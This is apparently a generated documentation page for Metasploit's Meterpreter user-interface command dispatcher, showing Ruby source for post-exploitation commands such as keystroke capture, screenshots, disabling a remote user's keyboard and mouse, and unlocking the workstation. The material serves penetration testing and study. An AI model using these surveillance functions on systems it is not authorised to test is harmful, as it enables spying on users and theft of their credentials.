Class: Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Stdapi::Ui

Inherits:
Object
  • Object
show all
Includes:
Rex::Post::Meterpreter::Ui::Console::CommandDispatcher
Defined in:
lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb

Overview

The user interface portion of the standard API extension.

Constant Summary collapse

Klass = 
Console::CommandDispatcher::Stdapi::Ui

Instance Attribute Summary

Attributes included from Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Rex::Post::Meterpreter::Ui::Console::CommandDispatcher

check_hash, #client, #initialize, #log_error, #msf_loaded?, set_hash

Methods included from Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #help_to_s, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_filenames, #update_prompt

Instance Method Details

#cmd_enumdesktops(*args) ⇒ Object

Enumerate desktops



177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 177

def cmd_enumdesktops(*args)
  print_line( "Enumerating all accessible desktops" )

  desktops = client.ui.enum_desktops

  desktopstable = Rex::Ui::Text::Table.new(
    'Header'  => "Desktops",
    'Indent'  => 4,
    'Columns' => [	"Session",
            "Station",
            "Name"
          ]
  )

  desktops.each { | desktop |
    session = desktop['session'] == 0xFFFFFFFF ? '' : desktop['session'].to_s
    desktopstable << [ session, desktop['station'], desktop['name'] ]
  }

  if( desktops.length == 0 )
    print_line( "No accessible desktops were found." )
  else
    print( "\n" + desktopstable.to_s + "\n" )
  end

  return true
end

#cmd_getdesktop(*args) ⇒ Object

Get the current meterpreter desktop.



208
209
210
211
212
213
214
215
216
217
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 208

def cmd_getdesktop(*args)

  desktop = client.ui.get_desktop

  session = desktop['session'] == 0xFFFFFFFF ? '' : "Session #{desktop['session'].to_s}\\"

  print_line( "#{session}#{desktop['station']}\\#{desktop['name']}" )

  return true
end

#cmd_idletime(*args) ⇒ Object

Executes a command with some options.



77
78
79
80
81
82
83
84
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 77

def cmd_idletime(*args)
  seconds = client.ui.idle_time

  print_line(
    "User has been idle for: #{Rex::ExtTime.sec_to_s(seconds)}")

  return true
end

#cmd_keyscan_dump(*args) ⇒ Object

Dump captured keystrokes



305
306
307
308
309
310
311
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 305

def cmd_keyscan_dump(*args)
  print_line("Dumping captured keystrokes...")
  data = client.ui.keyscan_dump
  print_line(client.ui.keyscan_extract(data))

  return true
end

#cmd_keyscan_start(*args) ⇒ Object

Start the keyboard sniffer



287
288
289
290
291
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 287

def cmd_keyscan_start(*args)
  print_line("Starting the keystroke sniffer...")
  client.ui.keyscan_start
  return true
end

#cmd_keyscan_stop(*args) ⇒ Object

Stop the keyboard sniffer



296
297
298
299
300
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 296

def cmd_keyscan_stop(*args)
  print_line("Stopping the keystroke sniffer...")
  client.ui.keyscan_stop
  return true
end

#cmd_screenshot(*args) ⇒ Object

Grab a screenshot of the current interactive desktop.



129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 129

def cmd_screenshot( *args )
  path    = Rex::Text.rand_text_alpha(8) + ".jpeg"
  quality = 50
  view    = false

  screenshot_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner." ],
    "-q" => [ true, "The JPEG image quality (Default: '#{quality}')" ],
    "-p" => [ true, "The JPEG image path (Default: '#{path}')" ],
    "-v" => [ true, "Automatically view the JPEG image (Default: '#{view}')" ]
  )

  screenshot_opts.parse( args ) { | opt, idx, val |
    case opt
      when "-h"
        print_line( "Usage: screenshot [options]\n" )
        print_line( "Grab a screenshot of the current interactive desktop." )
        print_line( screenshot_opts.usage )
        return
      when "-q"
        quality = val.to_i
      when "-p"
        path = val
      when "-v"
        view = false if ( val =~ /^(f|n|0)/i )
    end
  }

  data = client.ui.screenshot( quality )

  if( data )
    ::File.open( path, 'wb' ) do |fd|
      fd.write( data )
    end

    path = ::File.expand_path( path )

    print_line( "Screenshot saved to: #{path}" )

    Rex::Compat.open_file( path ) if view
  end

  return true
end

#cmd_setdesktop(*args) ⇒ Object

Change the meterpreters current desktop.



222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 222

def cmd_setdesktop( *args )

  switch   = false
  dsession = -1
  dstation = 'WinSta0'
  dname    = 'Default'

  setdesktop_opts = Rex::Parser::Arguments.new(
    "-h" => [ false, "Help Banner." ],
    #"-s" => [ true, "The session (Default: '#{dsession}')" ],
    "-w" => [ true, "The window station (Default: '#{dstation}')" ],
    "-n" => [ true, "The desktop name (Default: '#{dname}')" ],
    "-i" => [ true, "Set this desktop as the interactive desktop (Default: '#{switch}')" ]
  )

  setdesktop_opts.parse( args ) { | opt, idx, val |
    case opt
      when "-h"
        print_line( "Usage: setdesktop [options]\n" )
        print_line( "Change the meterpreters current desktop." )
        print_line( setdesktop_opts.usage )
        return
      #when "-s"
      #  dsession = val.to_i
      when "-w"
        dstation = val
      when "-n"
        dname = val
      when "-i"
        switch = true if ( val =~ /^(t|y|1)/i )
    end
  }

  if( client.ui.set_desktop( dsession, dstation, dname, switch ) )
    print_line( "#{ switch ? 'Switched' : 'Changed' } to desktop #{dstation}\\#{dname}" )
  else
    print_line( "Failed to #{ switch ? 'switch' : 'change' } to desktop #{dstation}\\#{dname}" )
  end

  return true
end

#cmd_uictl(*args) ⇒ Object

Enables/disables user interface mice and keyboards on the remote machine.



89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 89

def cmd_uictl(*args)
  if (args.length < 2)
    print_line(
      "Usage: uictl [enable/disable] [keyboard/mouse]")
    return true
  end

  case args[0]
    when 'enable'
      case args[1]
        when 'keyboard'
          print_line("Enabling keyboard...")
          client.ui.enable_keyboard
        when 'mouse'
          print_line("Enabling mouse...")
          client.ui.enable_mouse
        else
          print_error("Unsupported user interface device: #{args[1]}")
      end
    when 'disable'
      case args[1]
        when 'keyboard'
          print_line("Disabling keyboard...")
          client.ui.disable_keyboard
        when 'mouse'
          print_line("Disabling mouse...")
          client.ui.disable_mouse
        else
          print_error("Unsupported user interface device: #{args[1]}")
      end
    else
      print_error("Unsupported command: #{args[0]}")
  end

  return true
end

#cmd_unlockdesktop(*args) ⇒ Object

Unlock or lock the desktop



267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 267

def cmd_unlockdesktop(*args)
  mode = 0
  if(args.length > 0)
    mode = args[0].to_i
  end

  if(mode == 0)
    print_line("Unlocking the workstation...")
    client.ui.unlock_desktop(true)
  else
    print_line("Locking the workstation...")
    client.ui.unlock_desktop(false)
  end

  return true
end

#commands ⇒ Object

List of supported commands.



23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 23

def commands
  all = {
    "enumdesktops"  => "List all accessible desktops and window stations",
    "getdesktop"    => "Get the current meterpreter desktop",
    "idletime"      => "Returns the number of seconds the remote user has been idle",
    "keyscan_dump"  => "Dump the keystroke buffer",
    "keyscan_start" => "Start capturing keystrokes",
    "keyscan_stop"  => "Stop capturing keystrokes",
    "screenshot"    => "Grab a screenshot of the interactive desktop",
    "setdesktop"    => "Change the meterpreters current desktop",
    "uictl"         => "Control some of the user interface components"
    #  not working yet
    # "unlockdesktop" => "Unlock or lock the workstation (must be inside winlogon.exe)",
  }

  reqs = {
    "enumdesktops"  => [ "stdapi_ui_desktop_enum" ],
    "getdesktop"    => [ "stdapi_ui_desktop_get" ],
    "idletime"      => [ "stdapi_ui_get_idle_time" ],
    "keyscan_dump"  => [ "stdapi_ui_get_keys" ],
    "keyscan_start" => [ "stdapi_ui_start_keyscan" ],
    "keyscan_stop"  => [ "stdapi_ui_stop_keyscan" ],
    "screenshot"    => [ "stdapi_ui_desktop_screenshot" ],
    "setdesktop"    => [ "stdapi_ui_desktop_set" ],
    "uictl"         => [
      "stdapi_ui_enable_mouse",
      "stdapi_ui_enable_keyboard"
    ]
  }

  all.delete_if do |cmd, desc|
    del = false
    reqs[cmd].each do |req|
      next if client.commands.include? req
      del = true
      break
    end

    del
  end

  all
end

#name ⇒ Object

Name for this dispatcher.



70
71
72
 
# File 'lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb', line 70

def name
  "Stdapi: User interface"
end